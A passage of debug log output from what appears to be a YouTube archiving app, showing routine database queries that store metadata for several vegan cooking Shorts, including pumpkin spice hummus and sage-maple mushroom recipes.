s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:04.818 [debug] QUERY OK source="sources" db=0.3ms idle=1005.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:04.821 [debug] QUERY OK source="media_items" db=3.0ms idle=1004.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-07 21:08:49Z], 1] 20:27:04.823 [debug] QUERY OK source="media_items" db=0.9ms idle=1007.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👀 Did someone say… pumpkin spice HUMMUS? 🧡 \n\n‘Cause pumpkin spice ain’t just for the lattes 😉 MAKE THIS and thank me later! \n\n1 cup chickpeas, drained and rinsed\n1/2 cup pumpkin puree\n1 bulb roasted garlic\n2-3 tbsp tahini\n2 tbsp maple syrup\n1 tsp pumpkin pie spice\njuice of half a lemon\nsalt to taste\n\nAdd all ingredients to a high speed blender or food processor and blend until smooth. 🎃\n\nHAPPY AUTUMN! 🍂 🍁", "Easy plant-based appetizer for fall 🍂 Pumpkin Spice Hummus", "ec2486cf-62ab-4c9c-822b-26495ca1a28b", 1, [], 46, false, "TYbAVJUl7Lc", "https://www.youtube.com/shorts/TYbAVJUl7Lc", 229, "/downloads/downloads/alec/Steamy Vegan/2022-10-07 Easy plant-based appetizer for fall 🍂 Pumpkin Spice Hummus/Easy plant-based appetizer for fall 🍂 Pumpkin Spice Hummus [TYbAVJUl7Lc].NA", false, false, true, 1, ~U[2022-10-07 21:08:49Z], ~U[2026-03-22 03:27:04Z], ~U[2026-03-22 03:27:04Z], "👀 Did someone say… pumpkin spice HUMMUS? 🧡 \n\n‘Cause pumpkin spice ain’t just for the lattes 😉 MAKE THIS and thank me later! \n\n1 cup chickpeas, drained and rinsed\n1/2 cup pumpkin puree\n1 bulb roasted garlic\n2-3 tbsp tahini\n2 tbsp maple syrup\n1 tsp pumpkin pie spice\njuice of half a lemon\nsalt to taste\n\nAdd all ingredients to a high speed blender or food processor and blend until smooth. 🎃\n\nHAPPY AUTUMN! 🍂 🍁", "Easy plant-based appetizer for fall 🍂 Pumpkin Spice Hummus", 1, 46, false, "TYbAVJUl7Lc", "https://www.youtube.com/shorts/TYbAVJUl7Lc", "/downloads/downloads/alec/Steamy Vegan/2022-10-07 Easy plant-based appetizer for fall 🍂 Pumpkin Spice Hummus/Easy plant-based appetizer for fall 🍂 Pumpkin Spice Hummus [TYbAVJUl7Lc].NA", true, ~U[2022-10-07 21:08:49Z]] 20:27:04.823 [debug] QUERY OK source="sources" db=0.3ms idle=682.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:04.824 [debug] QUERY OK source="media_profiles" db=0.6ms idle=5.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:04.825 [debug] QUERY OK source="media_items" db=0.5ms idle=6.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [618] 20:27:04.825 [debug] Current batch of media processed. Will check again in 1000ms 20:27:05.826 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "In our recent Good Morning Vegan Fam vid we tried out 3 savory pumpkin spice recipes and went over the top 5 things to do during pumpkin spice season. \n\nCheck out all the fall recipes and Brad's top 5 list in this video: https://youtu.be/T5lWnETEDKI", "duration" => 41, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-10-07 Top Things to do During the Fall Pumpkin Spice Season #shorts #youtubeshorts/Top Things to do During the Fall Pumpkin Spice Season #shorts #youtubeshorts [otV9dJ1A-fQ].NA", "id" => "otV9dJ1A-fQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/otV9dJ1A-fQ", "playlist_index" => 230, "timestamp" => 1665151228, "title" => "Top Things to do During the Fall Pumpkin Spice Season #shorts #youtubeshorts", "upload_date" => "20221007"} 20:27:05.827 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1003.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:05.828 [debug] QUERY OK source="sources" db=0.9ms idle=1003.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:05.830 [debug] QUERY OK source="media_items" db=1.7ms idle=1004.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-07 14:00:28Z], 1] 20:27:05.832 [debug] QUERY OK source="media_items" db=1.1ms idle=1005.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In our recent Good Morning Vegan Fam vid we tried out 3 savory pumpkin spice recipes and went over the top 5 things to do during pumpkin spice season. \n\nCheck out all the fall recipes and Brad's top 5 list in this video: https://youtu.be/T5lWnETEDKI", "Top Things to do During the Fall Pumpkin Spice Season #shorts #youtubeshorts", "f2449802-ba59-487f-8fd2-9652738f1dc4", 1, [], 41, false, "otV9dJ1A-fQ", "https://www.youtube.com/shorts/otV9dJ1A-fQ", 230, "/downloads/downloads/alec/Steamy Vegan/2022-10-07 Top Things to do During the Fall Pumpkin Spice Season #shorts #youtubeshorts/Top Things to do During the Fall Pumpkin Spice Season #shorts #youtubeshorts [otV9dJ1A-fQ].NA", false, false, true, 2, ~U[2022-10-07 14:00:28Z], ~U[2026-03-22 03:27:05Z], ~U[2026-03-22 03:27:05Z], "In our recent Good Morning Vegan Fam vid we tried out 3 savory pumpkin spice recipes and went over the top 5 things to do during pumpkin spice season. \n\nCheck out all the fall recipes and Brad's top 5 list in this video: https://youtu.be/T5lWnETEDKI", "Top Things to do During the Fall Pumpkin Spice Season #shorts #youtubeshorts", 1, 41, false, "otV9dJ1A-fQ", "https://www.youtube.com/shorts/otV9dJ1A-fQ", "/downloads/downloads/alec/Steamy Vegan/2022-10-07 Top Things to do During the Fall Pumpkin Spice Season #shorts #youtubeshorts/Top Things to do During the Fall Pumpkin Spice Season #shorts #youtubeshorts [otV9dJ1A-fQ].NA", true, ~U[2022-10-07 14:00:28Z]] 20:27:05.833 [debug] QUERY OK source="sources" db=0.6ms idle=689.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:05.833 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.2ms idle=5.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:05.834 [debug] QUERY OK source="media_items" db=0.6ms idle=5.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [619] 20:27:05.835 [debug] Current batch of media processed. Will check again in 1000ms 20:27:06.836 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Sage & Maple Mushrooms 🌿🍁🍄 A *perfect* topping or side dish for your fall gatherings! \n\n3 ingredients and just 10 minutes, do yourself a favor and DON’T skip this one! 😉\n\n1 pound mushrooms\n2 tbsp maple syrup \n1/4 cup chopped fresh sage \nSweat out chopped mushrooms for 5 minutes, add the maple syrup and sage plus a dash of salt and continuing cooking for 5-7 minutes until the mushrooms have softened and caramelized slightly. Enjoy as a topping on your fave fall fishes or as a delish side! 😋\n\n Check out our latest video ⬇️\n\n3 Savoury Pumpkin Spice Recipes You've GOTTA Try this Fall 🍂 Plant Based and Gluten Free\nhttps://youtu.be/6nhs9x3h6hY", "duration" => 24, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-10-06 Easy fall side dish ⧸ Sage & Maple Mushrooms! 🌿🍁🍄/Easy fall side dish ⧸ Sage & Maple Mushrooms! 🌿🍁🍄 [zMsq6tFRfDU].NA", "id" => "zMsq6tFRfDU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/zMsq6tFRfDU", "playlist_index" => 231, "timestamp" => 1665082823, "title" => "Easy fall side dish / Sage & Maple Mushrooms! 🌿🍁🍄", "upload_date" => "20221006"} 20:27:06.837 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1004.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:06.838 [debug] QUERY OK source="sources" db=0.4ms idle=1004.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:06.840 [debug] QUERY OK source="media_items" db=1.7ms idle=1004.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-06 19:00:23Z], 1] 20:27:06.842 [debug] QUERY OK source="media_items" db=1.3ms idle=1005.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Sage & Maple Mushrooms 🌿🍁🍄 A *perfect* topping or side dish for your fall gatherings! \n\n3 ingredients and just 10 minutes, do yourself a favor and DON’T skip this one! 😉\n\n1 pound mushrooms\n2 tbsp maple syrup \n1/4 cup chopped fresh sage \nSweat out chopped mushrooms for 5 minutes, add the maple syrup and sage plus a dash of salt and continuing cooking for 5-7 minutes until the mushrooms have softened and caramelized slightly. Enjoy as a topping on your fave fall fishes or as a delish side! 😋\n\n Check out our latest video ⬇️\n\n3 Savoury Pumpkin Spice Recipes You've GOTTA Try this Fall 🍂 Plant Based and Gluten Free\nhttps://youtu.be/6nhs9x3h6hY", "Easy fall side dish / Sage & Maple Mushrooms! 🌿🍁🍄", "de9f39ee-8737-4d82-a5fd-c08bf185c2d7", 1, [], 24, false, "zMsq6tFRfDU", "https://www.youtube.com/shorts/zMsq6tFRfDU", 231, "/downloads/downloads/alec/Steamy Vegan/2022-10-06 Easy fall side dish ⧸ Sage & Maple Mushrooms! 🌿🍁🍄/Easy fall side dish ⧸ Sage & Maple Mushrooms! 🌿🍁🍄 [zMsq6tFRfDU].NA", false, false, true, 0, ~U[2022-10-06 19:00:23Z], ~U[2026-03-22 03:27:06Z], ~U[2026-03-22 03:27:06Z], "Sage & Maple Mushrooms 🌿🍁🍄 A *perfect* topping or side dish for your fall gatherings! \n\n3 ingredients and just 10 minutes, do yourself a favor and DON’T skip this one! 😉\n\n1 pound mushrooms\n2 tbsp maple syrup \n1/4 cup chopped fresh sage \nSweat out chopped mushrooms for 5 minutes, add the maple syrup and sage plus a dash of salt and continuing cooking for 5-7 minutes until the mushrooms have softened and caramelized slightly. Enjoy as a topping on your fave fall fishes or as a delish side! 😋\n\n Check out our latest video ⬇️\n\n3 Savoury Pumpkin Spice Recipes You've GOTTA Try this Fall 🍂 Plant Based and Gluten Free\nhttps://youtu.be/6nhs9x3h6hY", "Easy fall side dish / Sage & Maple Mushrooms! 🌿🍁🍄", 1, 24, false, "zMsq6tFRfDU", "https://www.youtube.com/shorts/zMsq6tFRfDU", "/downloads/downloads/alec/Steamy Vegan/2022-10-06 Easy fall side dish ⧸ Sage & Maple Mushrooms! 🌿🍁🍄/Easy fall side dish ⧸ Sage & Maple Mushrooms! 🌿🍁🍄 [zMsq6tFRfDU].NA", true, ~U[2022-10-06 19:00:23Z]] 20:27:06.842 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=696.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:06.843 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:06.844 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=5.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [620] 20:27:06.844 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "This autumn inspired pumpkin spiced hummus turned out so delicious. You'll absolutely love making this vegan fall recipe as you celebrate the pumpkin spiced season. \n\nRecipe Vid: https://youtu.be/6nhs9x3h6hY\n\nAlso, here is our full taste test video for this dish and a few others we whipped up: https://youtu.be/T5lWnETEDKI", "duration" => 27, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-10-06 Autumn Pumpkin Spiced Hummus 🎃 ❤️🤤#shorts #youtubeshorts/Autumn Pumpkin Spiced Hummus 🎃 ❤️🤤#shorts #youtubeshorts [bIfVg1hKN00].NA", "id" => "bIfVg1hKN00", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/bIfVg1hKN00", "playlist_index" => 232, "timestamp" => 1665068626, "title" => "Autumn Pumpkin Spiced Hummus 🎃 ❤️🤤#shorts #youtubeshorts", "upload_date" => "20221006"} 20:27:06.845 [debug] QUERY OK source="sources" db=0.9ms idle=4.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:06.846 [debug] QUERY OK source="sources" db=0.4ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:06.847 [debug] QUERY OK source="media_items" db=1.5ms idle=3.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-06 15:03:46Z], 1] 20:27:06.849 [debug] QUERY OK source="media_items" db=1.1ms idle=4.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This autumn inspired pumpkin spiced hummus turned out so delicious. You'll absolutely love making this vegan fall recipe as you celebrate the pumpkin spiced season. \n\nRecipe Vid: https://youtu.be/6nhs9x3h6hY\n\nAlso, here is our full taste test video for this dish and a few others we whipped up: https://youtu.be/T5lWnETEDKI", "Autumn Pumpkin Spiced Hummus 🎃 ❤️🤤#shorts #youtubeshorts", "86134f48-e823-4f1d-b97c-08242589eabc", 1, [], 27, false, "bIfVg1hKN00", "https://www.youtube.com/shorts/bIfVg1hKN00", 232, "/downloads/downloads/alec/Steamy Vegan/2022-10-06 Autumn Pumpkin Spiced Hummus 🎃 ❤️🤤#shorts #youtubeshorts/Autumn Pumpkin Spiced Hummus 🎃 ❤️🤤#shorts #youtubeshorts [bIfVg1hKN00].NA", false, false, true, 1, ~U[2022-10-06 15:03:46Z], ~U[2026-03-22 03:27:06Z], ~U[2026-03-22 03:27:06Z], "This autumn inspired pumpkin spiced hummus turned out so delicious. You'll absolutely love making this vegan fall recipe as you celebrate the pumpkin spiced season. \n\nRecipe Vid: https://youtu.be/6nhs9x3h6hY\n\nAlso, here is our full taste test video for this dish and a few others we whipped up: https://youtu.be/T5lWnETEDKI", "Autumn Pumpkin Spiced Hummus 🎃 ❤️🤤#shorts #youtubeshorts", 1, 27, false, "bIfVg1hKN00", "https://www.youtube.com/shorts/bIfVg1hKN00", "/downloads/downloads/alec/Steamy Vegan/2022-10-06 Autumn Pumpkin Spiced Hummus 🎃 ❤️🤤#shorts #youtubeshorts/Autumn Pumpkin Spiced Hummus 🎃 ❤️🤤#shorts #youtubeshorts [bIfVg1hKN00].NA", true, ~U[2022-10-06 15:03:46Z]] 20:27:06.849 [debug] QUERY OK source="sources" db=0.5ms idle=5.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:06.850 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:06.850 [debug] QUERY OK source="media_items" db=0.3ms idle=4.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds 